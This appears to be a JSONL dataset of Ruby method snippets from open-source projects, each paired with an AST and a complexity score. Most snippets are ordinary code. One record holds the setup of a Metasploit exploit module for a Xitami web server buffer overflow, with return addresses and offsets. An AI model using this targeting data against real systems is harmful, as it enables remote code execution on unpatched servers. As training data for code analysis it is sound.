{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb","start_line":355,"raw_source":"def lease_connection\n        lease = connection_lease\n        lease.connection ||= checkout\n        lease.sticky = true\n        lease.connection\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"lease_connection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lease\",{\"type\":\"send\",\"children\":[null,\"connection_lease\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lease\"]},\"connection\"]},{\"type\":\"send\",\"children\":[null,\"checkout\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lease\"]},\"sticky=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lease\"]},\"connection\"]}]}]}","id":"f1485d0d-59bd-4294-86c4-01e2909782af"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/ordered_hash_test.rb","start_line":282,"raw_source":"def test_order_after_yaml_serialization_with_nested_arrays\n    @ordered_hash[:array] = %w(a b c)\n\n    @deserialized_ordered_hash = YAML.load(YAML.dump(@ordered_hash))\n\n    assert_equal @ordered_hash.keys,   @deserialized_ordered_hash.keys\n    assert_equal @ordered_hash.values, @deserialized_ordered_hash.values\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_order_after_yaml_serialization_with_nested_arrays\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ordered_hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"array\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"str\",\"children\":[\"c\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@deserialized_ordered_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"dump\",{\"type\":\"ivar\",\"children\":[\"@ordered_hash\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ordered_hash\"]},\"keys\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@deserialized_ordered_hash\"]},\"keys\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ordered_hash\"]},\"values\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@deserialized_ordered_hash\"]},\"values\"]}]}]}]}","id":"1ee1271e-139a-4572-aefd-28215264593b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/xitami_if_mod_since.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name'\t=> 'Xitami 2.5c2 Web Server If-Modified-Since Overflow',\n        'Description'\t=> %q{\n          This module exploits a stack buffer overflow in the iMatix Corporation\n          Xitami Web Server. If a malicious user sends an\tIf-Modified-Since\n          header containing an overly long string, it may be possible to\n          execute a payload remotely. Due to size constraints, this module uses\n          the Egghunter technique.\n        },\n        'Author' => 'aushack',\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2007-5067' ],\n          [ 'OSVDB', '40594'],\n          [ 'OSVDB', '40595'],\n          [ 'BID', '25772' ],\n          [ 'EDB', '4450' ]\n        ],\n        'Privileged'\t=> false,\n        'DefaultOptions' => {\n          'EXITFUNC'\t=> 'process',\n        },\n        'Payload' => {\n          'Space'\t=> 700,\n          'BadChars' => \"\\x00\\x0a\\x0d\",\n        },\n        'Platform' => ['win'],\n        'Targets' => [\n          # Patrick - Both tested OK 20070928 - w2ksp0, w2ksp4, xpsp0, xpsp2 en.\n          [ 'xigui32.exe Universal', { 'Ret' => \"\\xff\\xce\\x44\", 'Offset' => 40 } ], # 0x0044ceff ret xigui32.exe\n          [ 'xitami.exe  Universal', { 'Ret' => \"\\xf2\\xc1\\x47\", 'Offset' => 68 } ], # 0x0047c1f2 ret xitami.exe\n        ],\n        'DisclosureDate' => '2007-09-24',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(80),\n      ]\n    )\n  end","complexity_score":6.45,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[80]}]}]}]}]}","id":"30e53d07-dd7b-481e-9730-49d5662bfa0f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/jwt_v2.rb","start_line":73,"raw_source":"def project_config\n        Gitlab::Ci::ProjectConfig.new(\n          project: project,\n          sha: pipeline.sha,\n          pipeline_source: pipeline.source&.to_sym,\n          pipeline_source_bridge: pipeline.source_bridge\n        )\n      end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"project_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"ProjectConfig\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline_source\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"source\"]},\"to_sym\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline_source_bridge\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"source_bridge\"]}]}]}]}]}","id":"afabde14-6157-4875-a23e-263130dd2357"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/hash_subset.rb","start_line":69,"raw_source":"def extracts_hash_subset?(block)\n        block_with_first_arg_check?(block) do |key_arg, value_arg, send_node, method|\n          # Only consider methods that have one argument\n          return false unless send_node.arguments.one?\n\n          return false unless supported_subset_method?(method)\n          return false if range_include?(send_node)\n\n          case method\n          when :include?, :exclude?\n            slices_key?(send_node, :first_argument, key_arg, value_arg)\n          when :in?\n            slices_key?(send_node, :receiver, key_arg, value_arg)\n          else\n            true\n          end\n        end\n      end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"extracts_hash_subset?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_with_first_arg_check?\",{\"type\":\"lvar\",\"children\":[\"block\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key_arg\"]},{\"type\":\"arg\",\"children\":[\"value_arg\"]},{\"type\":\"arg\",\"children\":[\"send_node\"]},{\"type\":\"arg\",\"children\":[\"method\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"send_node\"]},\"arguments\"]},\"one?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supported_subset_method?\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"range_include?\",{\"type\":\"lvar\",\"children\":[\"send_node\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"include?\"]},{\"type\":\"sym\",\"children\":[\"exclude?\"]},{\"type\":\"send\",\"children\":[null,\"slices_key?\",{\"type\":\"lvar\",\"children\":[\"send_node\"]},{\"type\":\"sym\",\"children\":[\"first_argument\"]},{\"type\":\"lvar\",\"children\":[\"key_arg\"]},{\"type\":\"lvar\",\"children\":[\"value_arg\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"in?\"]},{\"type\":\"send\",\"children\":[null,\"slices_key?\",{\"type\":\"lvar\",\"children\":[\"send_node\"]},{\"type\":\"sym\",\"children\":[\"receiver\"]},{\"type\":\"lvar\",\"children\":[\"key_arg\"]},{\"type\":\"lvar\",\"children\":[\"value_arg\"]}]}]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"4e67a749-27a4-47a1-b217-afe42b06e157"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/context/method_context.rb","start_line":80,"raw_source":"def full_comment\n        own = super\n        return own unless own.empty?\n        return parent_exp.full_comment if parent_exp\n\n        ''\n      end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"full_comment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"own\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"own\"]},\"empty?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"own\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent_exp\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent_exp\"]},\"full_comment\"]}]},null]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"5102e0a6-223c-4baf-8427-32275a53d1d8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/note.rb","start_line":190,"raw_source":"def select_filter_with_text(text)\n          retry_on_exception do\n            click_element('issue-title')\n            click_element('discussion-preferences-dropdown')\n            find_element('filter-menu-item', text: text).click\n\n            wait_for_requests\n          end\n        end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"select_filter_with_text\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retry_on_exception\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"issue-title\"]}]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"discussion-preferences-dropdown\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_element\",{\"type\":\"str\",\"children\":[\"filter-menu-item\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]},\"click\"]},{\"type\":\"send\",\"children\":[null,\"wait_for_requests\"]}]}]}]}","id":"ea831082-f854-49b5-84bd-9a72322d2873"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/database/trigger_helpers.rb","start_line":37,"raw_source":"def parsed_function_statements(name)\n      cleaned_definition = find_function_def(name)['body'].downcase.gsub(/\\s+/, ' ')\n      statements = cleaned_definition.sub(/\\A\\s*begin\\s*(.*)\\s*end\\s*\\Z/, \"\\\\1\")\n      statements.split(';').map! { |stmt| stmt.strip.presence }.compact!\n    end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"parsed_function_statements\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cleaned_definition\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_function_def\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"body\"]}]},\"downcase\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"statements\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cleaned_definition\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A\\\\s*begin\\\\s*(.*)\\\\s*end\\\\s*\\\\Z\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\\\1\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"statements\"]},\"split\",{\"type\":\"str\",\"children\":[\";\"]}]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stmt\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stmt\"]},\"strip\"]},\"presence\"]}]},\"compact!\"]}]}]}","id":"dc8d8007-d59c-4e12-a383-2b6dc80e8a27"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/non_atomic_file_operation.rb","start_line":158,"raw_source":"def require_mode_keyword?(node)\n          return false unless node.receiver.const_name == 'Dir'\n\n          replacement_method(node) == 'mkdir_p' && node.arguments.length == 2\n        end","complexity_score":12.23,"ast_json":"{\"type\":\"def\",\"children\":[\"require_mode_keyword?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]},\"const_name\"]},\"==\",{\"type\":\"str\",\"children\":[\"Dir\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"replacement_method\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"mkdir_p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"arguments\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}","id":"498919ab-b57c-4710-850a-2874fe1c3780"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/reflection.rb","start_line":626,"raw_source":"def check_validity!\n        return if @validated\n\n        check_validity_of_inverse!\n\n        if !polymorphic? && (klass.composite_primary_key? || active_record.composite_primary_key?)\n          if (has_one? || collection?) && Array(active_record_primary_key).length != Array(foreign_key).length\n            raise CompositePrimaryKeyMismatchError.new(self)\n          elsif belongs_to? && Array(association_primary_key).length != Array(foreign_key).length\n            raise CompositePrimaryKeyMismatchError.new(self)\n          end\n        end\n\n        @validated = true\n      end","complexity_score":51.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_validity!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@validated\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"check_validity_of_inverse!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"polymorphic?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"composite_primary_key?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_record\"]},\"composite_primary_key?\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_one?\"]},{\"type\":\"send\",\"children\":[null,\"collection?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[null,\"active_record_primary_key\"]}]},\"length\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[null,\"foreign_key\"]}]},\"length\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CompositePrimaryKeyMismatchError\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"belongs_to?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[null,\"association_primary_key\"]}]},\"length\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[null,\"foreign_key\"]}]},\"length\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CompositePrimaryKeyMismatchError\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]},null]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@validated\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"694db25c-d031-4af4-ac2f-2118339109c0"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/topics_controller.rb","start_line":973,"raw_source":"def re_pin\n    topic = Topic.find_by(id: params[:topic_id].to_i)\n    guardian.ensure_can_see!(topic)\n    topic.re_pin_for(current_user)\n    render body: nil\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"re_pin\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]},\"to_i\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"ensure_can_see!\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"re_pin_for\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"d52b1b17-3e1f-433f-833c-46aa9d650515"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/initializable.rb","start_line":23,"raw_source":"def run(*args)\n        @context.instance_exec(*args, &block)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@context\"]},\"instance_exec\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block\"]}]}]}]}","id":"0b790684-67d4-48e5-ac1b-0859a5474625"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/fixtures.rb","start_line":12,"raw_source":"def fetch_template_from_api(api_path, key)\n        request = Runtime::API::Request.new(api_client, \"/templates/#{api_path}/#{key}\")\n        response = get(request.url)\n\n        unless response.code == HTTP_STATUS_OK\n          raise TemplateNotFoundError,\n            \"Template at #{request.mask_url} could not be found (#{response.code}): `#{response}`.\"\n        end\n\n        parse_body(response)[:content]\n      end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_template_from_api\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"api_path\"]},{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"API\"]},\"Request\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"api_client\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/templates/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_path\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"url\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"HTTP_STATUS_OK\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TemplateNotFoundError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Template at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"mask_url\"]}]},{\"type\":\"str\",\"children\":[\" could not be found (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\"): `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"str\",\"children\":[\"`.\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_body\",{\"type\":\"lvar\",\"children\":[\"response\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"content\"]}]}]}]}","id":"94e8a61a-7f50-42f8-988e-1966c0814fe8"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/edit_fields/text_editor_field.rb","start_line":34,"raw_source":"def clear(*)\n    ckeditor.clear\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"clear\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ckeditor\"]},\"clear\"]}]}","id":"4d05543a-d1bf-4500-844d-d60608724681"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/interface_color_selector.rb","start_line":34,"raw_source":"def has_auto_as_current_mode?\n        has_css?(SELECTOR + \"[data-current-mode='auto']\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_auto_as_current_mode?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"has_css?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SELECTOR\"]},\"+\",{\"type\":\"str\",\"children\":[\"[data-current-mode='auto']\"]}]}]}]}","id":"e609a2f6-b1db-4a42-969a-0c6906b835b5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/project_config/project_setting.rb","start_line":65,"raw_source":"def extract_location_tokens\n          path_file, path_project = ci_config_path.split('@', 2)\n\n          if path_project.include? \":\"\n            project, ref = path_project.split(':', 2)\n            [path_file, project, ref]\n          else\n            [path_file, path_project]\n          end\n        end","complexity_score":12.65,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_location_tokens\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path_file\"]},{\"type\":\"lvasgn\",\"children\":[\"path_project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ci_config_path\"]},\"split\",{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_project\"]},\"include?\",{\"type\":\"str\",\"children\":[\":\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\"]},{\"type\":\"lvasgn\",\"children\":[\"ref\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_project\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_file\"]},{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"ref\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_file\"]},{\"type\":\"lvar\",\"children\":[\"path_project\"]}]}]}]}]}","id":"65789b7e-eb55-490c-91ef-00fda0f94bc8"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/contracts/bim/bcf/viewpoints/create_contract.rb","start_line":112,"raw_source":"def validate_properties\n        errors.add(:json_viewpoint, :unsupported_key) if viewpoint.present? && (viewpoint.keys - WHITELISTED_PROPERTIES).any?\n      end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_properties\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"viewpoint\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"viewpoint\"]},\"keys\"]},\"-\",{\"type\":\"const\",\"children\":[null,\"WHITELISTED_PROPERTIES\"]}]}]},\"any?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"json_viewpoint\"]},{\"type\":\"sym\",\"children\":[\"unsupported_key\"]}]},null]}]}","id":"1135167f-426b-49ea-bd13-5308e8fe063f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/smb/utils.rb","start_line":87,"raw_source":"def self.nbname_decode(str)\n    decoded = ''\n    str << 'A' if str.length % 2 != 0\n    while (str.length > 0)\n      two = str.slice!(0, 2).unpack('C*')\n      if (two.length == 2)\n        decoded << [ ((two[0] - 0x41) * 16) + two[1] - 0x41 ].pack('C')\n      end\n    end\n    return decoded\n  